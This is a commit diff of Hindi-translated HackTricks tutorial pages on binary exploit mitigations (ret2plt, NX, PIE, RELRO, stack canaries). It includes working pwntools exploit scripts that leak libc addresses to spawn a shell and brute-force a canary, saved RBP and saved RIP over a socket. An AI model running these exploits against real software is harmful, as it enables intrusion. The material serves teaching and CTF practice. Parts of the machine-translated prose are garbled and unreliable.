{% endcontent-ref %}
### Ret2ret
स्टैक के अंदर के पतों का दुरुपयोग करके ASLR को बायपास करने का प्रयास करें:
{% content-ref url="../../stack-overflow/ret2ret.md" %}
[ret2ret.md](../../stack-overflow/ret2ret.md)
{% endcontent-ref %}

View file

@ -0,0 +1,96 @@
# Ret2plt
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
## मौलिक जानकारी
इस तकनीक का उद्देश्य होगा किसी **PLT से फ़ंक्शन का पता लीक करना** ताकि ASLR को उम्मीद से भी आगे बढ़ा सकें। यह इसलिए है क्योंकि यदि आप, उदाहरण के लिए, `puts` फ़ंक्शन का पता libc से लीक करते हैं, तो फिर आप **`libc` का बेस कहाँ है उसे गणना** कर सकते हैं और **`system`** जैसी अन्य फ़ंक्शनों तक पहुँचने के लिए ऑफसेट्स की गणना कर सकते हैं।
यह `pwntools` पेलोड के साथ किया जा सकता है जैसे ([**यहाँ से**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
नोट करें कि **`puts`** (PLT से पता किए गए पते का उपयोग करके) `GOT` में स्थित `puts` के पते के साथ कॉल किया जाता है। यह इसलिए है क्योंकि `puts` जब `puts` `GOT` प्रविष्टि को प्रिंट करता है, तो यह **प्रविष्टि मेमोरी में `puts` का पता रखेगी**
इसके अलावा, ध्यान दें कि एक्सप्लॉइट में `main` का पता उपयोग किया जाता है, इसलिए जब `puts` अपना कार्य समाप्त करता है, **बाइनरी `main` को बंद करने की बजाय फिर से कॉल करता है** (ताकि लीक हुए पते को जारी रखा जा सके)।
{% hint style="danger" %}
ध्यान दें कि इसे काम करने के लिए **बाइनरी को PIE के साथ कंपाइल नहीं किया जा सकता** चाहिए या फिर आपको `PLT`, `GOT` और `main` के पते का पता होना चाहिए ताकि PIE को नजरअंदाज करने के लिए एक लीक पाया जा सके।
{% endhint %}
आप यहाँ [**इस बाइपास का पूर्ण उदाहरण देख सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)। यह उस उदाहरण से अंतिम एक्सप्लॉइट था:
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** PRs के जरिए [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में सबमिट करके।
</details>

View file

@ -0,0 +1,40 @@
# No-exec / NX
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
## मौलिक जानकारी
**No-Execute (NX)** बिट, जिसे इंटेल शब्दावली में **Execute Disable (XD)** के रूप में भी जाना जाता है, एक हार्डवेयर-आधारित सुरक्षा सुविधा है जो **बफर ओवरफ्लो** हमलों के प्रभावों को **कम करने** के लिए डिज़ाइन की गई है। जब इसे लागू और सक्षम किया जाता है, तो यह व्यावसायिक कोड के लिए निर्देशित मेमोरी क्षेत्रों के बीच भिन्न करता है जो डेटा के लिए हैं, जैसे **स्टैक** और **हीप**। मूल विचार यह है कि एक हमलावार को बफर ओवरफ्लो जोखिमों के माध्यम से दुरुपयोगी कोड को नकारने के लिए, उदाहरण के लिए स्टैक में दुरुपयोगी कोड डालकर और इसे के लिए निर्देशित करके उस पर निर्देशन विकास को रोकना।
## बायपास
* इस सुरक्षा को छलकरने के लिए [**ROP**](../stack-overflow/rop-return-oriented-programing.md) जैसी तकनीकों का उपयोग करना संभव है, जिससे बाइनरी में पहले से मौजूद कर्यात्मक कोड के टुकड़े को निष्पादित किया जा सकता है।
* [**Ret2libc**](../stack-overflow/ret2lib/)
* [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
* **Ret2...**
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>

View file

@ -0,0 +1,55 @@
# PIE
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारा संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें** द्वारा **PRs सबमिट** करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
## मौलिक जानकारी
एक बाइनरी जो PIE के रूप में कंपाइल किया गया है, या **स्थिति स्वतंत्र कार्यकारी**, यह अर्थ है कि **प्रोग्राम हर बार जब भी चलाया जाता है तो विभिन्न मेमोरी स्थानों पर लोड हो सकता है**, हार्डकोड किए गए पतों से बचाव करता है।
इन बाइनरी को उत्पीड़ित करने का तरीका **संबंधित पतों** का उपयोग करना है—प्रोग्राम के भागों के बीच के अंतर यदी स्थान बदल जाए तो भी वे वही रहेंगे। PIE को बाइपास करने के लिए, आपको केवल एक पता लीक करने की आवश्यकता है, सामान्यत: **स्टैक** से, जैसे कि फॉर्मेट स्ट्रिंग हमलों जैसे दुरुपयोग करके। एक बार जब आपके पास एक पता होता है, तो आप उन्हें उनके **निश्चित ऑफसेट** के द्वारा हिसाब से कर सकते हैं।
PIE बाइनरी का उत्पीड़न करने में एक सहायक संकेत है कि उनका **आधार पता सामान्यत: 000 समाप्त होता है** क्योंकि मेमोरी पेज यादृच्छिकता की इकाइयाँ होती हैं, जो 0x1000 बाइट के आकार में होती हैं। यह समरूपण एक महत्वपूर्ण **जांच हो सकती है यदि एक उत्पीड़न जैसा काम नहीं कर रहा** है, जिससे पता चलता है कि सही आधार पता पहचाना गया है।\
या आप इसे अपने उत्पीड़न के लिए उपयोग कर सकते हैं, यदि आप लीक करते हैं कि एक पता **`0x649e1024`** पर स्थित है तो आप जानते हैं कि **आधार पता `0x649e1000` है** और फिर आप सिर्फ **कार्यों और स्थानों के ऑफसेट** की **हिसाब** कर सकते हैं।
## बाइपास
PIE को बाइपास करने के लिए **लोड किए गए** बाइनरी का कुछ पता **लीक करने** की आवश्यकता है, इसके लिए कुछ विकल्प हैं:
* **दिया गया** गया है (सरल CTF चुनौतियों में सामान्य, [**इस उदाहरण की जाँच करें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
* स्टैक में सही वैल्यूज को लीक करने तक **EBP और EIP मानों को ब्रूट-फोर्स करें**:
{% content-ref url="bypassing-canary-and-pie.md" %}
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
{% endcontent-ref %}
* एक ऐसी विकल्प पढ़ें जैसे [**फॉर्मेट स्ट्रिंग**](../../format-strings/) का एक विचित्र पठन दोष जैसे एक पता लीक करने के लिए बाइनरी का एक पता (जैसे पिछले तकनीक में स्टैक से) तक पहुंचने के लिए उपयोग करें। [**यहाँ एक उदाहरण खोजें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## संदर्भ
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारा संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें** द्वारा **PRs सबमिट** करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>

View file

@ -0,0 +1,110 @@
# स्टैक में BF पते
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
**अगर आप एक कैनरी और PIE (Position Independent Executable) द्वारा संरक्षित बाइनरी का सामना कर रहे हैं तो शायद आपको उन्हें छलना होगा।**
![](<../../../../.gitbook/assets/image (144).png>)
{% hint style="info" %}
ध्यान दें कि **`checksec`** यह नहीं पता लगा सकता कि एक बाइनरी को कैनरी द्वारा संरक्षित किया गया है अगर यह स्थिर रूप से कॉम्पाइल किया गया था और यह फ़ंक्शन को पहचानने की क्षमता नहीं है।\
हालांकि, आप इसे मैन्युअल रूप से ध्यान दें अगर आपको लगता है कि किसी मानक कोल के शुरू में एक मान स्टैक में सहेजा गया है और इस मान की जांच प्रक्रिया समाप्त होने से पहले की जाती है।
{% endhint %}
## ब्रूट-फ़ोर्स पते
PIE को छलने के लिए आपको **कुछ पते लीक करने** की आवश्यकता है। और अगर बाइनरी को कोई पते नहीं लीक कर रहा है तो सबसे अच्छा काम है कि आप **वलनरेबल फ़ंक्शन में स्टैक में सहेजे गए RBP और RIP को ब्रूट-फ़ोर्स करें**।\
उदाहरण के लिए, यदि एक बाइनरी को **कैनरी** और **PIE** दोनों का उपयोग करके संरक्षित किया गया है, तो आप कैनरी को ब्रूट-फ़ोर्स करना शुरू कर सकते हैं, फिर **अगले** 8 बाइट (x64) में सहेजे गए **RBP** होगा और **अगले** 8 बाइट में सहेजे गए **RIP** होगा।
{% hint style="success" %}
समझना चाहिए कि स्टैक में वापसी पता मुख्य बाइनरी कोड का हिस्सा है, जो, यदि दुरुपयोग मुख्य बाइनरी कोड में स्थित है, तो आम तौर पर मामला होगा।
{% endhint %}
बाइनरी से RBP और RIP को ब्रूट-फ़ोर्स करने के लिए आप यह तय कर सकते हैं कि एक मान्य अनुमानित बाइट सही है अगर कार्यक्रम कुछ आउटपुट करता है या यह केवल क्रैश नहीं होता। कैनरी को ब्रूट-फ़ोर्स करने के लिए प्रदान किए गए वही फ़ंक्शन RBP और RIP को ब्रूट-फ़ोर्स करने के लिए उपयोग किया जा सकता है:
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
आपको PIE को परास्त करने के लिए आखिरी चीज़ यह है कि **लीक हुए** पतों से **उपयोगी पतों की गणना करनी है**: **RBP** और **RIP**
**RBP** से आप **स्टैक में अपनी शैल कहाँ लिख रहे हैं** यह गणना कर सकते हैं। यह जानना बहुत उपयोगी हो सकता है कि आप स्टैक के अंदर _"/bin/sh\x00"_ स्ट्रिंग कहाँ लिखने जा रहे हैं। लीक हुए RBP और अपने शैलकोड के बीच की दूरी की गणना करने के लिए आप बस एक **ब्रेकपॉइंट डाल सकते हैं जब RBP लीक हो जाए** और चेक कर सकते हैं **कि आपका शैलकोड कहाँ स्थित है**, फिर, आप शैलकोड और RBP के बीच की दूरी की गणना कर सकते हैं:
```python
INI_SHELLCODE = RBP - 1152
```
**RIP** से आप **PIE बाइनरी का बेस पता** निकाल सकते हैं जिसे आपको एक **वैध ROP श्रृंखला बनाने की आवश्यकता है**
बेस पता निकालने के लिए बस `objdump -d vunbinary` करें और डिसएसेंबल नवीनतम पते की जांच करें:
![](<../../../../.gitbook/assets/image (145).png>)
उस उदाहरण में आप देख सकते हैं कि सभी कोड को ढूंढने के लिए केवल **1 बाइट और आधा** आवश्यक है, फिर, इस स्थिति में बेस पता **लीकेड RIP लेकिन "000" पर समाप्त होने की आवश्यकता है**। उदाहरण के लिए अगर आपने `0x562002970ecf` लीक किया है तो बेस पता `0x562002970000` होगा।
```python
elf.address = RIP - (RIP & 0xfff)
```
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>

View file

@ -0,0 +1,39 @@
# Relro
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
## Relro
**RELRO** का मतलब है **Relocation Read-Only**, और यह एक सुरक्षा सुविधा है जो बाइनरी में उपयोग की जाती है ताकि **GOT (Global Offset Table)** के ओवरराइट से जुड़े जोखिमों को कम किया जा सके। चलो इस अवधारणा को स्पष्टता के लिए इसके दो विभिन्न प्रकारों में विभाजित करें: **Partial RELRO** और **Full RELRO**
### **Partial RELRO**
**Partial RELRO** सुरक्षा को बढ़ाने के लिए एक सरल दृष्टिकोण अपनाता है जिससे बाइनरी के प्रदर्शन पर प्रभाव नहीं पड़ता। **GOT को कारपोरेटिंग करने और भ्रष्ट करने से रोकने के लिए GOT को कार्यक्रम की मेमोरी में चरणों के ऊपर स्थित करके, Partial RELRO बफर ओवरफ्लो को GOT तक पहुंचने और भ्रष्ट करने से रोकने का उद्देश्य रखता है**
यह **किसी भी अनियमित लेखन** संक्रमणों से GOT का दुरुपयोग करने को रोकने में सफल नहीं है।
### **Full RELRO**
**Full RELRO** सुरक्षा को बढ़ाता है **जब GOT को पूरी तरह से केवल पढ़ने योग्य बनाया जाता है।** एक बाइनरी शुरू होते ही सभी फ़ंक्शन पतों को हल किया जाता है और GOT में लोड किया जाता है, फिर, GOT को केवल पढ़ने योग्य बनाया जाता है, जिससे किसी भी समय किसी भी संशोधन को रोका जा सकता है।
हालांकि, Full RELRO के साथ व्यापार और स्टार्टअप समय के मामले में है। क्योंकि यह सभी डायनामिक प्रतीकों को स्टार्टअप पर हल करने की आवश्यकता होती है पहले GOT को पढ़ने योग्य बनाने से, **Full RELRO सक्षम बाइनरी में लंबे लोड समय का सामना कर सकती है**। यह अतिरिक्त स्टार्टअप ओवरहेड है जिसकी वजह से Full RELRO सभी बाइनरी में डिफ़ॉल्ट रूप से सक्षम नहीं है।
यह देखना संभव है कि क्या बाइनरी में Full RELRO सक्षम है:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
## बायपास
यदि पूर्ण RELRO सक्षम है, तो उसे बायपास करने का एकमात्र तरीका यह है कि एक और तरीका ढूंढा जाए जिसको GOT टेबल में लिखने की आवश्यकता न हो और व्यापक क्रियान्वयन प्राप्त किया जा सके।

View file

@ -0,0 +1,59 @@
# स्टैक कैनेरीज
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** (https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos पर PRs सबमिट करके।
</details>
## **स्टैकगार्ड और स्टैकशील्ड**
**स्टैकगार्ड** एक विशेष मान जिसे **कैनेरी** के रूप में जाना जाता है, **ईआईपी (एक्सटेंडेड इंस्ट्रक्शन पॉइंटर)** से पहले डालता है, विशेष रूप से `0x000aff0d` (नल, न्यूलाइन, ईओएफ, कैरिज रिटर्न को प्रतिनिधित्व करता है) जिससे बफर ओवरफ्लो के खिलाफ सुरक्षा प्रदान करता है। हालांकि, `recv()`, `memcpy()`, `read()`, और `bcopy()` जैसे फ़ंक्शन अब भी संक्रमित हैं, और यह **ईबीपी (बेस पॉइंटर)** की सुरक्षा नहीं करता है।
**स्टैकशील्ड** स्टैकगार्ड से एक और उन्नत दृष्टिकोण अपनाता है जिसमें एक **ग्लोबल रिटर्न स्टैक** बनाया गया है, जिसमें सभी रिटर्न पते (**ईआईपी** को) संग्रहीत हैं। यह सेटअप सुनिश्चित करता है कि कोई भी ओवरफ्लो हानि नहीं पहुंचाता है, क्योंकि यह संग्रहीत और वास्तविक रिटर्न पतों के बीच तुलना करने की अनुमति देता है ताकि ओवरफ्लो घटनाएं पता लगाई जा सकें। इसके अतिरिक्त, स्टैकशील्ड स्टैकशील्ड को भी दुर्भाग्यपूर्ण बना सकता है जैसे कि Return-to-libc, ROP (Return-Oriented Programming), या ret2ret जैसी तकनीकों के माध्यम से, इसका सुझाव देता है कि स्टैकशील्ड भी स्थानीय चरों की सुरक्षा नहीं करता।
## **स्टैक स्मैश प्रोटेक्टर (ProPolice) `-fstack-protector`:**
यह तंत्र **ईबीपी** के पहले एक **कैनेरी** रखता है, और स्थानीय चरों को पुनर्व्यवस्थित करता है ताकि बफर्स अन्य चरों को अधिक मेमोरी पतों पर स्थानित न करें। यह सुरक्षित रूप से उच्च मेमोरी पतों पर स्थानित स्थानीय चरों की अभिलेखित जानकारी की प्रतिलिपि बनाता है और इन प्रतिलिपियों का उपयोग तर्कों के रूप में करता है। हालांकि, यह 8 तत्वों से कम या उपयोगकर्ता की संरचना के भीतर बफर्स की सुरक्षा नहीं करता।
**कैनेरी** एक यादृच्छिक संख्या है जो `/dev/urandom` से उत्पन्न होती है या एक डिफ़ॉल्ट मान `0xff0a0000` होता है। यह **टीएलएस (सूत्र स्थानीय संग्रहण)** में संग्रहीत होता है, जो धागे-स्थानीय स्थानों को धागा-विशेष सार्वभौमिक या स्थिर चरों की अनुमति देता है। ये चर आरंभ में कैनेरी रखने के लिए और अंत में इसकी अखंडता की पुष्टि करने के लिए इन फ़ंक्शन्स को पहचानता है जिनमें हमलों के लिए संक्रमित बफर्स होते हैं।
जब एक वेब सर्वर `fork()` का उपयोग करता है, तो यह एक ब्रूट-फोर्स हमला संभावना बनाता है कि कैनेरी बाइट को बाइट से अनुमानित किया जा सकता है। हालांकि, `fork()` के बाद `execve()` का उपयोग मेमोरी स्थान को अधिलेखित कर देता है, जिससे हमला निराकरण हो जाता है। `vfork()` बच्चा प्रक्रिया को डुप्लिकेट बनाए बिना चलाने की अनुमति देता है, जब तक यह लिखने का प्रयास नहीं करता, जिसके बाद एक डुप्लिकेट बनाया जाता है, प्रक्रिया निर्माण और मेमोरी हैंडलिंग के लिए एक विभिन्न दृष्टिकोण प्रदान करता है।
## बायपास
**कैनेरी को लीक करना** और फिर इसे ओवरराइट करना (उदाहरण के लिए, बफर ओवरफ्लो) अपने ही मान के साथ।
* अगर **कैनेरी बच्चा प्रक्रियाओं में फोर्क होती है** तो यह संभावना है कि इसे एक बाइट के रूप में **ब्रूट-फोर्स** किया जा सकता है:
{% content-ref url="bf-forked-stack-canaries.md" %}
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
{% endcontent-ref %}
* यदि बाइनरी में कोई दिलचस्प लीक व्यवस्था है तो इसे लीक किया जा सकता है:
{% content-ref url="print-stack-canary.md" %}
[print-stack-canary.md](print-stack-canary.md)
{% endcontent-ref %}
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
